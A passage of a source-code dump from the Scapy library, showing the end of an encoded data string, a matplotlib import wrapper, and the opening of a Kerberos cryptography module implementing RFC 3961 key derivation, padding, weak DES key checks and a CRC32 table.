ULn{0nXyLDih8i(lcCM-A>;^@2qFDpTJoAG`_#YlUe`=kaNk8YNE?Xd2_n@c-qa9w=xIaTmeU*nKQS} #wA@E)BJzT*;6(raFkCgG{!|9v)$#@)xG&|WXfU9^dULgWsd_+MeG==9*01N+z}q^CSyQOqPRvPtJ`Pk?CW7PfaiH9m`iPX{1KaR9Nh%$hQb3tFa-^-tPDa>lbNc{5rFOsT7eRvITdn;DaCh80Di~W%s$i(^TXC~2VyUc0j*&Can bhG;fDMGfVMF%`-L29D}AtP9@70bos^6s_p2PD+zqJ64Mml6K$G7bfK7CG#YmBPgE8qy^+~*JZQf lN<#;AFBi!23wUwyg~*kN6p2%XAAGzRQITey=J4@tZ*3G)bS!u-YxKsiI-`Y8US&;L(V;vz@cR>JTuO wEN>i_Jy$8A!>Y)j8tnay7pOZOQ)^D;y=^3TBsoS7preQc6dPeiR0H)a$;NX!3FF3BTbQ(Vn%JcAG@LWr5cD|syBQXOj~>fXtn1Y=#TJv|1k7C$i=`gp++j)|W1)H@3jzozb&FGV>Y+M(9gfm@|tgxhib0$0R!~V;h9T$kU }rKA5Wi(xO$MlQ7D#fV$5dHTbR#1^l%nWm$Ev;0;xz21J*-0!rq@{8c&LNW`KhTw*qBF3`3?r)$4iK! Ojxh&S7d7Hl=7EcJ{cZYwe2)biT}%xZ(|{*RxX3*ka9o!}xKYe94RXEJ!491Y&iYa&cMf*%k3$bI{#h O-4`oQv7`cjzN;?PYamSZUjou{8@yqa{!J+_|@fEQl_yLF$dqINWaMXFA1D4y2?rpY}-v#bwa&JG7B6 )kLXvpPUB2;%UDmm(T_*WX3oMeE=u?@iZ@UJJI?aT!7=j$C(d&Uo1X=IBVm7{M>-o6`COK=DxeBm?O< DdBzY)jSWs<%qsyzAzeMhR&g@?g|B4;=W^!q#Ge@Rh%~tRI(Rg*M^(<#FN9T2pp7Rv8_(iOMBa!i#2+ @DSELPmD>DQ2>JyOAI4HgOX{w_!Qv|WU3c^a%}|I=WV#S2`RG_s^O9yy0SUt>}`Ex=fYpyW7npkf1RZ =Oqq5P>6*iOjqY0Y0h^jk^3P76=rA2kfpO={+)Ls G2Os>WG>bpdd!VPaCddxrr^>QrBZ{|v>|UGE9_(AXFnqxH?_fj!aT6nTBLn(afbrgGqwa_uq@|~6P+p 3?B?}Q}(7;g*c46yDsf8(mCdYb`sKMfe@g2_e59i{yB*rF}5;zhSwPL$4o!g)Y9LfA?;d%lpCPumNZW Z8n+hf@Tmh&`TQO?tNm2NK%qj%e5p25*P&a|>Y0a^S#=JS9vu!t{UuZ7J>0!JX`n!g??N!I2LE2PKLF t&hfcplHY#i~S|1tkE>iE^yaAUJG;^*9&SA+BSXB0QLA4#Wq{ak$@m1p>oCLjg)Yy?1eXjLPbuN8N>c&}Q*a0S?#0p4C0Q%lI|GxZTCs9`&aT!nQ9pOKwvv~nyPW>ZA4NnT9rJg;`Do0-A^+5a <16FcSoxu~b}euaDNPIeLkteH(R@ter`CFmwWebG(15!uN!1%QjeM@XeFa@OephiJuC7-?DNlgkW910$92 QbCzpkcW&M0ss(9-f0dFbh+9srnx=72m1cJ5@xfmVC{KCj+tuyR0@rVe}wzgh1#0QxaW7Ak*@3q3Bt% A89Vz5?8HUn(g|U3ZntU(<{O{TX1p2DiS(;=3$w0^^OIO0O}1?NuN^PbeJokiU)N(gFvN9@=lzAh{zP tOvTOeV^5T?EQ-UfW`4Y>y3i&3&V{%9X$Kd{pENh(Y1m3DNh$@#rq#K%YY}(mgP5Kjd+n{T2ZTba?-lWvp1;BycF loA+7Bv{-_rpReE~k&96QwKUaW_Mz>H0flY$VKw^UodetZ3Q<~+x6ddFJ52wIDs;AtmoXg23OI<4FwD Abd_-O%@%fScF`e9Ov`6Fzrndth YC1MRDPP^=jJthPzddBl((0^;h@Bwg$MR7z&`$) |%15u4ZFE|*@w^yHT{7X##JvhRP>N)lN1s-3OV=iD;;4iz974j&{@|QtOnRH!3*nCtqTFa3Dvrgpg9{sycA6 ZM18LWroNX4*p{MXIi5Qol+E{X?E(6%ky*WTKOshQ_I7OG&WBAA&Qh+MfVU=T6zmn^wAf{9%8M9D`y4 kU9Fp?1gm>gHK>iHP4*q@Rn}TKq-rL$jit-fhR)NpyjslvM S=aXzrkaY4u>f$%wffcPO=ZmNUcHUFI)od_5w--V$a`2#I<`LIdm)K&{>PYQGqSn%Y6W?*Vf0Q?(jY< 5kRodW@$%mQ%Ysr~$(V%qVSrk>ywf=y_eHy6%3|+%wa}UK}7-H}!IgC5A3@KV3>7VziEr%iunpKFNww 68I%asQTggYbh}E*XLBANs{;*z7T&Dcj4Fg+E2eEvNx9S ZC?qm|yhJQb@FH;@1P{}u{43MNFrX6Sw%75VubyUt%o;7FwP{!%N4QqZ&IDUXZTm#J3_q_6NfVE(=q@ hOSOUr$xOs?eonf%7gPszr?|I)UGt<%T~8fgNQV(`5OxX+~lLiFkQ?f|8hpmHT4(=Z{o$OJYEerHTX0 KYOb1w=WI&pv(b0iA2J8xosy6*~t`o=di$GGtVV(G&0*jcosx8Pl1SO*@yX%@Ka`42j|F3sY2Nju!Kk *@)2_Gu(>)6Vzk5SeoeFmHas=|ZvwS?CD3d6PX3tIS!=!gP;D{lnB1IlbF731w77O9k_RM*lLG85-^s )o6}xtHXoAiRoEnfEq?!c_A#>)hLH0f141%`FNFF*r5!*E1 @t89YO>8NXWVPL69(%Pt`|eAGf;9qc%>`=RAB7%*PTq60IqCtv<5=(Nq6iF`!1(RiRn~))2Z0U5*g;h X=keY_-BPtJG9HYC!JN+rXb%;~Vo>w$-ngCtg&A(kbPM9lP?^sIsQQ)VygR1K2P5Ko3RBBAT_W{W=_uI$|xf WXh)4Yy+NYaJz%kb7|pi>rCpiB66pLKqV=?Rx@l9RxXn9t?|;J}Kr7yMWmIYx1G(GwDRXTn*(`})^Qz !LAHeMv+w$u0N?`{N77DEKi`r*>-V=RxlV&qPl8wMYL|L-gD{J#zf1lOW=2;VP_D^*i0}YPG*fKy4bq }yY+FjP1ju+MG$Pk!Zv<=)gx7=VT4ZeMg%W4+?nm^?RI0C7 BbScwep7t6=T0(}VFxGXtcDgLf>MGBkV}05SpehR3QUxKO`r;C#%KZ@+uqE21YOl)Tu%or)dplc?dHS 2v!-^?r`PKN_?IiRiNrVD~GD7Ku9ZmrIwFR4=a!N>G@+l43qY&dBG1z0{=~K!8`Dp{j%ig$b17>g;4R u&8mWGE;1Ntf9c*c2{<%(2Zb8*w)?V>bA^V^AbbW8bK^-2G-0K7~dTnxHE-pz3hAxu>bWN9fTm^vVdCpJ3NQ;I4_?NIEWkp u{PFaJeak_Y!r{nm0!hjk{Gnj%TGiBT oY-qtez)k|x_4E1mI;@IZ#Oe_^3Q50Px6K?KO+FW_-lr}p|57W>0$3GVEjO&+XN^qazl=^O!6phIAs1 2h?7yla!A8ocff%qU+SKi`a*+MX9SBfPvd?KL40s0CzKL#+H5A(y(du&l15B29qV2c>jzlKR-W{%yfb G`MyYATuVJ!zY^uX#!zkkAF+y1g@Vb?fU7S=qooO9i`4oHSVU5pTJ)CwUPgGb{>SyQAR%TPvJ )>K$V+l%{gNWex+SJj2Aub^|_WF+3PHafJ0c%%9_;F92^gO=c1}3T@)c65`&V{tnmcF`@|BW)+l5&|n mRWtbkJc9W8Lz;aV@keIDrqOuq|Jbl-%al-mFPGrAE*xH_wxUgOxq6WY;!Rg^XDG-lZjkK2@-{Qwf`c NrbSORVt3lWbkLoY6hTqj>hutmoKLArM8+?{`R(&j;E*oSOC3Tgh!tD7sl#2hrAyRHq`3z*JWCyWXrl &ZBZ3;Y1d%l(K|=)Q5FA4hl=hKH$3y@)jhZwr-4JX4&^Cx dlqT?9`;o7|69GP4BvF!n+{XMSn$XVGRNUElo8&L1^{WER1Jduaoxh2~*B_pp^qV^yQOs>}wt+ya!Ql kMhm@)+g#$^y2b%;SFK@B(kURRc*}8KX&ES1r!sC)(qy`&0h76Dyx^>d*FL|tAdE|~KU&8Cl+evt@fg {kZJGs2Ob+2vg*@2Dt2YhR2f5`L&n5^IIUGU}~?&2kxDRNf{4ArX`9c+lU)mR|`3wZ4O=pt6sa$Y2{@ u?_)!v-h3gYFzuv+&Oh3iup3}b=5W`x`JoDohT$p}5pEDqa c39K+Z*l%ds*Pm{Ha5*93w6+8nn;tcchF@Cif~Wq8wdIs5Be-abJyz_44El$nZ07Sjwy~ZKx(2$WmsB &1_;tj4?*j#G7Kcp`3Cfh9b-!N3tH5pWnyi*fr}vpljY_XOM2)pwXGe`)r(zhvqEz(qmiS-4?G `_n2a2<$iHHX;if2zvN_lih#dGxzCLoR&|O>JYBLK8iU-11SBxd~8*l#44*y0{%o;D`mY7BF139Gaq_*!f2 ~+<22*I3_N8HnDgt=d4j#MuhT~ajzo@NyF{)6@AaBw5J* xkaYH8ok?x3pn7ea@?zls{y9*4h)=tXn0_Bb2tR8gs*NzZk#Z3WBI7*d2!RtK@67nM$xJq6A{J?)W Cnk{?K1#l2E?e4*|WmTyGe@pIn_3wL~87?LCwrCV%GdO_jmW|GR%_VaixGGkx hkRN0)nY)~3P8G_##)71+#^a;&6>jr0lkl(|f~-A=kUVymH*?u_~8NR3z0b`4P`&YDL)v1rt)X$7XrJZo2_9&Ooq^M+ds+)+oqF6QtTNlIQr> 82R@#a(+ce*OzJ;FJdJ|(}h${YXHj550l_35O4NQea~)}^(m_1&Ol;ux2XgT!E0{o$s(RxqH9F+t;d5 qWNom2|9m;Vyt|dlT!C$LKth=QeNi1Tmxq!9tO&xeo4>mSS^;~Yc7U^x&2m(wWr>#cXkJ<101|4G>oR vt@Fh!@Ce;7|`_Ug{B{$u|GtU}E(SDZv0Rk_qni19;>$28Ef3#al;gtTNY0R7^QSCGk|M!iGy+E;x(-;~y&JKGP*+6- F`AnH(^+BODJ!>XqW^$sx3{02N(`hK(Yq`Iuf?n?;RVNU+sjJ}96*bBi$~n+u*Cn}B&`F%pdZv<)iAt A>Qb-M@5!hDeF;n}3yh&fewUCVjb_4Ck;{ZQ0LKnOk|6gipSP7Xj=bCChgXS4y)@(rSC8=W)^kM8(x& yaKk{5O8_|HZ9-$9Zh+5v1eDRR}01XTMf(E>M8P+tB^2WcHEa7{&e^beX64+tJxhG!HV{(p-gfwsjGR Lcwu)T88`HBSwz4ipGrd%{W6PYM{H-WOCj@aN}*PeojG)YWaT!#1gh= RT_DWx|2>NyyR0=lA6){p%%$qZ2l31Gr;ZO8Ax?=h9UDBOn|AYbuKrw5?{4MlqEhO9SjU{7kk9XvYimCccg~!g~^B9w<7p3eht`T|a{bnr51ME3 K74z})3J%KU6W$r|iL0v{Z}^TZv?0qL+2Qr@Tt=U}IoHecSXMH8xH$)@-h2GBld$H%(^jnwos;$6=Vb {?Bf;z>14ynCE1UO1X6w4GPnZ6L1L{2WB1T`=L7Rfz)93HU9o}!htCdIM%}tOk4p`zh;pp45i_~`*>x>BlqvU!ya=W*I6Mw<~tLi$Vw!lQ6NTwCF=i;TC4A#b%!i@2F)MY$yEUs-iPrtvT{q CmmpX(9AUUOsIw9JK63#E;pon!!ysVRv3|}0i<}&q8R&;Bc2lp5)|7llA^W^_J{kk-k0oM0lS8Q)f)i #q)h(6>G504cpkN9wI4s^3aK46S5x}6uZhc?IanNRA2=}XdtIrSt*ohK!SeDJGS_oRk^ez08fDKtAxl I~5Ruj>$IhrSL>N!j(5Wn*H!(}%6=!{;MdQ}H~W(x*?aL?6Hs_Wc`p YLUzzXXm#T44@`?EAfYNwS-yd@{g6WY3AfWeJ8&lWakpX5NLY%rQZ%GFMydxci@ll6m tD=kUE}Mhlrhp?*veotrJl0r#bW57y09fZoSH<7K8cD;%=V1No^q79Jeaj4dmdN!POp0kyJL {0#mG0)e93`+SJ+*k^EV#bAuqq(=WGeNo8O({#3DEl+yA&rkBf4&j vV`O9vp?=)xY$$7^!zgniZ%ig0H2aufGWogDi`ZB+Xmrpk-h8O@GA0a%(0`Vv8_In>!GAA|+SW4;sC?*Qf4?joeU6H80M*_7 ($`7|-JwD_t7!sW@pY?6>1Ibx$l35yS;0R>?B1q8Mko$Q0{3Vw3I~I_^G|F)sKiV>G4U{<>amsBtosn foHasw;$LeaG=JaAlzq?*3bcJMhm%36&pv{d`*EPQA^vvu1{4S5Z2YQF?98rty9Q*cK7~W-BQ?jwW1V @PUmlkzc3*meCw#6;L9SGoPG_@jKMoV>H%}rwx1I!}mvVg??MIH4IPJIE>t;7gEzCoyI mWBZYJdQa1kyW}+8-j1wVE7*8Bi4*tp62{vHk7Onv8g*Q|%JxC_L->G`2RyZUxhLejO7a2{Cm!F3L1n ZXwgL#BG2%@@xDO8{i;%X9h+QD=f9Ef0F#NIiu73tcWEl&{s;@x$bScDkh>yecR6stbb;`7JsYo%`QZ oSOXn3E@feii;Ucq+3D7E$Kk}CV(qaWQvn=6$EObB0>^vY;pL9p$=%B`M@?M-Mq cMhr!x@bxd7_%GhF4Y35&kb-8SsTa2#%x2D7x*R3g5))s=Pv+2W5wXOfW$q64NRGyd_Q(WNx`dt+;PP I>0(nT>Uw*-cW?9J(Sl<@VqC~hV(iIR#iB}JPWvwlN142wzE=^@d~vaF3MKu!cP|4DEPW0t{#e<;0xF Zdd`cf;u~IZ}^tu_tD#aM5`rD8B%Cw^(`=5^;Jo*PaD}*@pynjxU*NOo(h%!$^RW^&KDV`nA7Kku)3W }_dXtA=T1_>%y(aYL<)mL(SY@tBY{D0aD4m0-F`Yjhr?6!a`Zw9RQpAb?Z&BSco2rEV8t!nW8Nb<#2- )ou#BE+bfcYPnC){SSf0FFjd|MEq%2A96iKak~&17oj>;dGaV)s!utllvT-AuHer^kj8aAA38{CQPnB 3GZ&D=B9vdY$nE15|v4w{gvn{bNk-J<#$YMLLRoa)5Dt3`Pf3C!!-Suql+S2QTv9K4|2C`JwsawuYG{H*04EJ_nG_tV?>*bITjcxC1pD3_%HjzFrGMh H+E5ihU4e}}hd}HDMDC*)=d-% GO(`}$a^}-gvV(p~z_P|0{S@A$XXl~|SUmi4yny4*PnR&`FPDx$j)cy|m1F0p&0^5G`Vf~117cjra$G J);paOJrh3zgnCZA{?K`HU)!Orln2sG*1riQ2fWulXM$L5*XICqj{Sp=@0!JX{(vgjf?cxME>hXzYSW !=b8bo7m4VxDE$b3)Bk;1&3s7ikW){@Q5&u?{E;`^?5-s&@E5J7sYbtnNgl6(8e)gHdfM0s1_O4h(xX wT%_9qj<%EEii)7E^B}JcjRY_NxQ6hx9HoE%)tJ%Kv<*XF}ZA|?0ljg>sU}b-sB_2Jf$$5 p@aB2eu(`zv%moq&!lhMIdZO&RSAla5D%F1YiWw-a>vdk_3)S*R0@?rw1kGCog_lu A%-@n(%m8_u(OHjr>d=w$B55NG*w~y~h`R2+-5Cba!o^RMiH&Om*joPOBX@c?sJABCYk70w_1#2g2Mb _xwdhIQZZnR#J$Zp*Jf#`Ea?jl;ytKeU#D7DZc{4}(dz3!WF|?6ZJ6CoHdd-ZdX|x8;gDI3=R50^GCeG-ejB*;Ea<3Z8Rl83p?-=hEqBlKc!yLFIZktpAHiXGeOPD#tx3^PlfOR&W(sFN6|=W0 =2L{t*-HaIV$P#qcV!(x#X(}eCqaxzng9ZsL}@iHz%UZ4ib%Cp05?e$ZhR9TWeGGGUqBJ1DMa%LPR60 Dh2QlMuG*@MJ1pfw4Ucy)twoBbA3e|_~DBY(s)hV9q_lgc94EDRsgs7R3$kQ#<^I#Y-3W?B4F74WL!2 MZiPr5$aGuy0)dqEx1x0H!-bd0eQYT#A^Y>)^%oWh0p&;_9AtW!V=iOmI@k7ZQ-%3$jo@sFp1sH>@mE rTrBj#q?>d(So|Vfnd^3Vd}NvNO7l2d)WLpM5E=3|3ypE==*oF#mA?y0IJ~!)iOYYI&!ei8jfsCpc=_ KYlR5uf&F7t9skMd0Uvu9(2SoOES=FEUUc34jVPfJSCt6O4Rz-)plrOzd@}<4{GZ4AraLTN)5Orm)&% Z>hexl=XlCjrf`Axh)v0YM^?ICOeup~O>oW$TeGVpMnV=PsaN?m;9#+ZJ09-TEL=X&{leafyc{ls*U= U#Z&bPsR=#Iye%ZqCb9DyA7oRF=7pv#QC8!%ntEPs=^ItpxYOZPk$V^>zT(Bm{%W9yTQ6El{r(DPYa& FinJ`DF~0CV!{LyUluwgoE|HJz(KecXS_)FI^6d=3|ypbmsM&7&`qE);vhLUERy;G&4R}_i`8auP-?F T^_?qOdbG&wR$)oY3^xFP!sd2-(_*k8YLn^hWe)AWSkXAyg)w!1!8FLY)BcdlLf4B<=8ZUs^19WWEtGsu;_>jv=c6RSfKqBK#rb~hjYY`}Y;O^ QSu{CLU;;Ao@~f&jkPxAeuLp23)Y>3Z4X+_nnI|qZqP!+ 6h6zo5$Qr@F6zz*SUWHV!P#k>=ZD4_nj*J}0uG`hnN6|99Dqsaqq$Dvm+v|URs&f)ZeK*mx`C5G_9YK wU*=1Fg2FR1DW@RMdcZAlJNEs_X9i4`E)1ttq5F@xLB!gr9rQjT?r&_MPa-?^`uQNd?8^xSn;hE16Lz j%X0zl4n}SPG1Kypk!&6qSx6cDPxx7!Zq>N>vj0U`BV}!xJM@ CHSBilF4WoYsmhhR}0=nw``dVYO+NU><*jR7^zZ;(GSzS4Y_eq!x1=i*#~r!FRN08E+o)_40BT+J7>q$B9;-KNkYK(H|??D2{QNp #()^)GgI6x=DBg>BVgQAVz^t=XFm*BJaB>;0r1ba^g1=BHNA)jf}*I3IqRU_+J_MX0w7?12#Tofyv2P?puGDv(JQq;I-?;c<+y{Td#2~=_-aZXAZHL;Mg=vAjS7Myd% EP}HW;;a8{S(?~B0;X`g;aR&;Vv8FwGvK#sUd9CndeKK~Onq1`oV+bLAoF^(8CY5*{!=o2=0JZV-U%~ `gSbefCO#oNn)d3}M+NiH$jMK%@$-@2oKo7N6?;`>>nVAtG{fZ$y^!T3yk&=fhqjv~0Mgr14W@ZYhw&Bp$Vu%o?;~t(qPMB|I&DWHb#;sSvqo60pQ#_GnSH>BV6(?U?U(sV FkfWoR>mG0=-Q&^mFKe>pwH3 Q|(nE=KdYSRU?XR@OK_z=a#Q5cuYkL%mM6t(%2x b&=P06?qua-j990FFkmISUGF*rs7?fSvj&vGN_7sEN7KU(@V@WKLtQ^abb*-zt`@x2}me 6Y{&w79lG5e#9$jFDkI5iP*bWV73lFE&i+$Q7$!6Ko(DJ(TAkC*-Iu#yqK?4^B@WI9&bmR-Q(^xElWk CC4r&QI<~`YHyhX>;nA8x0Rf1sp2(Q};ue&-xlY>=V2hq1<;+eo!A8OA&VQMpw(_#&uwoCwZWf@8!hx uC014@Bj!ffdC#IRpqoS?_Zith7=q*!`+395qvjzng==`*Fb38TLd<}FxiIwFGsPpC=C$`Ie^K%2Pu?oXS)JUHvr G#!KC*~#EQM_J&#bMnT8v}ZK1g(J%E12Qyo2Lm#%@qC`FIA9-($MRkq+5~~mysPJ561c60c_K)Xjw~` !=^$YJg})@Q!<9c|jfVA5h^x*ITGy{{H#|6-BS2N1+-q=?&Jz6Ez~DO%9D(q2J7S-jXxm`yS^c}iQ^r Q^-CwD^Z3$Esw_OM!=f`r}HyluN0J$4m@A5Q$O|u`d$)rwQr%1wa?qus#7>C@b(j#}$O=8^4aTDZUM%173E3D-^$B3dFdO`B)=REz)OMy{p0IKC(VCgSQV1Fo0; c#YqS`SX+t_X9K-^Stf5$Ou$hTv+XHrv6{oiX?;hCeXn^stmtK1Ka3z6DH6Tu{_b`X{w7zR0%YY0376>-`y6HwPnz}O3J IQKeCIaAgI6W*@WzBx`NKSRYSc*k61)ZVHl`@#T`OcJ{eAL%nV7VCf$&u`F`v<5ye3(>Dlwhh0G(W3I -jnL`SgDQc03q{!tp5p """) ================================================ FILE: scapy/libs/matplot.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ External link to matplotlib """ from scapy.error import log_loading # Notice: this file must not be called before main.py, if started # in interactive mode, because it needs to be called after the # logger has been setup, to be able to print the warning messages __all__ = [ "Line2D", "MATPLOTLIB", "MATPLOTLIB_DEFAULT_PLOT_KARGS", "MATPLOTLIB_INLINED", "plt", ] # MATPLOTLIB try: from matplotlib import get_backend as matplotlib_get_backend from matplotlib import pyplot as plt from matplotlib.lines import Line2D MATPLOTLIB = 1 if "inline" in matplotlib_get_backend(): MATPLOTLIB_INLINED = 1 else: MATPLOTLIB_INLINED = 0 MATPLOTLIB_DEFAULT_PLOT_KARGS = {"marker": "+"} # RuntimeError to catch gtk "Cannot open display" error except (ImportError, RuntimeError) as ex: plt = None Line2D = None MATPLOTLIB = 0 MATPLOTLIB_INLINED = 0 MATPLOTLIB_DEFAULT_PLOT_KARGS = dict() log_loading.info("Can't import matplotlib: %s. Won't be able to plot.", ex) ================================================ FILE: scapy/libs/rfc3961.py ================================================ # SPDX-License-Identifier: BSD-2-Clause # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (c) 2013, Marc Horowitz # Copyright (C) 2013, Massachusetts Institute of Technology # Copyright (C) 2022-2024, Gabriel Potter and the secdev/scapy community """ Implementation of cryptographic functions for Kerberos 5 - RFC 3961: Encryption and Checksum Specifications for Kerberos 5 - RFC 3962: Advanced Encryption Standard (AES) Encryption for Kerberos 5 - RFC 4757: The RC4-HMAC Kerberos Encryption Types Used by Microsoft Windows - RFC 6113: A Generalized Framework for Kerberos Pre-Authentication - RFC 8009: AES Encryption with HMAC-SHA2 for Kerberos 5 .. note:: You will find more complete documentation for Kerberos over at `SMB `_ """ # TODO: support cipher states... __all__ = [ "ChecksumType", "EncryptionType", "InvalidChecksum", "KRB_FX_CF2", "Key", "SP800108_KDFCTR", "_rfc1964pad", ] # The following is a heavily modified version of # https://github.com/SecureAuthCorp/impacket/blob/3ec59074ec35c06bbd4312d1042f0e23f4a1b41f/impacket/krb5/crypto.py # itself heavily inspired from # https://github.com/mhorowitz/pykrb5/blob/master/krb5/crypto.py # Note that the following work is based only on THIS COMMIT from impacket, # which is therefore under mhorowitz's BSD 2-clause "simplified" license. import abc import enum import math import os import struct from scapy.compat import ( orb, chb, int_bytes, bytes_int, plain_str, ) # Typing from typing import ( Any, Callable, List, Optional, Type, Union, ) # We end up using our own crypto module for hashes / hmac because # we need MD4 which was dropped everywhere. It's just a wrapper above # the builtin python ones (except for MD4). from scapy.layers.tls.crypto.hash import ( _GenericHash, Hash_MD4, Hash_MD5, Hash_SHA, Hash_SHA256, Hash_SHA384, ) from scapy.layers.tls.crypto.h_mac import ( Hmac, Hmac_MD5, Hmac_SHA, ) # For everything else, use cryptography. try: from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes try: # cryptography > 43.0 from cryptography.hazmat.decrepit.ciphers import ( algorithms as decrepit_algorithms, ) except ImportError: decrepit_algorithms = algorithms except ImportError: raise ImportError("To use kerberos cryptography, you need to install cryptography.") # cryptography's TripleDES can be used to simulate DES behavior def DES(key: bytes) -> decrepit_algorithms.TripleDES: return decrepit_algorithms.TripleDES(key * 3) # https://go.microsoft.com/fwlink/?LinkId=186039 # https://csrc.nist.gov/CSRC/media/Publications/sp/800-108/archive/2008-11-06/documents/sp800-108-Nov2008.pdf # [SP800-108] section 5.1 (used in [MS-SMB2] sect 3.1.4.2) def SP800108_KDFCTR( K_I: bytes, Label: bytes, Context: bytes, L: int, hashmod: _GenericHash = Hash_SHA256, ) -> bytes: """ KDF in Counter Mode as section 5.1 of [SP800-108] This assumes r=32, and defaults to SHA256 ([MS-SMB2] default). """ PRF = Hmac(K_I, hashmod).digest h = hashmod.hash_len n = math.ceil(L / h) if n >= 0xFFFFFFFF: # 2^r-1 = 0xffffffff with r=32 per [MS-SMB2] raise ValueError("Invalid n value in SP800108_KDFCTR") result = b"".join( PRF(struct.pack(">I", i) + Label + b"\x00" + Context + struct.pack(">I", L)) for i in range(1, n + 1) ) return result[: L // 8] # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-1 class EncryptionType(enum.IntEnum): DES_CBC_CRC = 1 DES_CBC_MD4 = 2 DES_CBC_MD5 = 3 # DES3_CBC_SHA1 = 7 DES3_CBC_SHA1_KD = 16 AES128_CTS_HMAC_SHA1_96 = 17 AES256_CTS_HMAC_SHA1_96 = 18 AES128_CTS_HMAC_SHA256_128 = 19 AES256_CTS_HMAC_SHA384_192 = 20 RC4_HMAC = 23 RC4_HMAC_EXP = 24 # CAMELLIA128-CTS-CMAC = 25 # CAMELLIA256-CTS-CMAC = 26 # https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-2 class ChecksumType(enum.IntEnum): CRC32 = 1 RSA_MD4 = 2 RSA_MD4_DES = 3 # RSA_MD5 = 7 RSA_MD5_DES = 8 # RSA_MD5_DES3 = 9 # SHA1 = 10 HMAC_SHA1_DES3_KD = 12 # HMAC_SHA1_DES3 = 13 # SHA1 = 14 HMAC_SHA1_96_AES128 = 15 HMAC_SHA1_96_AES256 = 16 # CMAC-CAMELLIA128 = 17 # CMAC-CAMELLIA256 = 18 HMAC_SHA256_128_AES128 = 19 HMAC_SHA384_192_AES256 = 20 HMAC_MD5 = -138 class InvalidChecksum(ValueError): pass ######### # Utils # ######### # https://www.gnu.org/software/shishi/ides.pdf - APPENDIX B def _n_fold(s, n): # type: (bytes, int) -> bytes """ n-fold is an algorithm that takes m input bits and "stretches" them to form n output bits with equal contribution from each input bit to the output (quote from RFC 3961 sect 3.1). """ def rot13(y, nb): # type: (bytes, int) -> bytes x = bytes_int(y) mod = (1 << (nb * 8)) - 1 if nb == 0: return y elif nb == 1: return int_bytes(((x >> 5) | (x << (nb * 8 - 5))) & mod, nb) else: return int_bytes(((x >> 13) | (x << (nb * 8 - 13))) & mod, nb) def ocadd(x, y, nb): # type: (bytearray, bytearray, int) -> bytearray v = [a + b for a, b in zip(x, y)] while any(x & ~0xFF for x in v): v = [(v[i - nb + 1] >> 8) + (v[i] & 0xFF) for i in range(nb)] return bytearray(x for x in v) m = len(s) lcm = n // math.gcd(n, m) * m # lcm = math.lcm(n, m) on Python>=3.9 buf = bytearray() for _ in range(lcm // m): buf += s s = rot13(s, m) out = bytearray(b"\x00" * n) for i in range(0, lcm, n): out = ocadd(out, buf[i : i + n], n) return bytes(out) def _zeropad(s, padsize): # type: (bytes, int) -> bytes """ Return s padded with 0 bytes to a multiple of padsize. """ return s + b"\x00" * (-len(s) % padsize) def _rfc1964pad(s): # type: (bytes) -> bytes """ Return s padded as RFC1964 mandates """ pad = (-len(s)) % 8 return s + pad * struct.pack("!B", pad) def _xorbytes(b1, b2): # type: (bytearray, bytearray) -> bytearray """ xor two strings together and return the resulting string """ assert len(b1) == len(b2) return bytearray((x ^ y) for x, y in zip(b1, b2)) def _mac_equal(mac1, mac2): # type: (bytes, bytes) -> bool # Constant-time comparison function. (We can't use HMAC.verify # since we use truncated macs.) return all(x == y for x, y in zip(mac1, mac2)) # https://doi.org/10.6028/NBS.FIPS.74 sect 3.6 WEAK_DES_KEYS = set( [ # 1 b"\xe0\x01\xe0\x01\xf1\x01\xf1\x01", b"\x01\xe0\x01\xe0\x01\xf1\x01\xf1", # 2 b"\xfe\x1f\xfe\x1f\xfe\x0e\xfe\x0e", b"\x1f\xfe\x1f\xfe\x0e\xfe\x0e\xfe", # 3 b"\xe0\x1f\xe0\x1f\xf1\x0e\xf1\x0e", b"\x1f\xe0\x1f\xe0\x0e\xf1\x0e\xf1", # 4 b"\x01\xfe\x01\xfe\x01\xfe\x01\xfe", b"\xfe\x01\xfe\x01\xfe\x01\xfe\x01", # 5 b"\x01\x1f\x01\x1f\x01\x0e\x01\x0e", b"\x1f\x01\x1f\x01\x0e\x01\x0e\x01", # 6 b"\xe0\xfe\xe0\xfe\xf1\xfe\xf1\xfe", b"\xfe\xe0\xfe\xe0\xfe\xf1\xfe\xf1", # 7 b"\x01" * 8, # 8 b"\xfe" * 8, # 9 b"\xe0" * 4 + b"\xf1" * 4, # 10 b"\x1f" * 4 + b"\x0e" * 4, ] ) # fmt: off CRC32_TABLE = [ 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 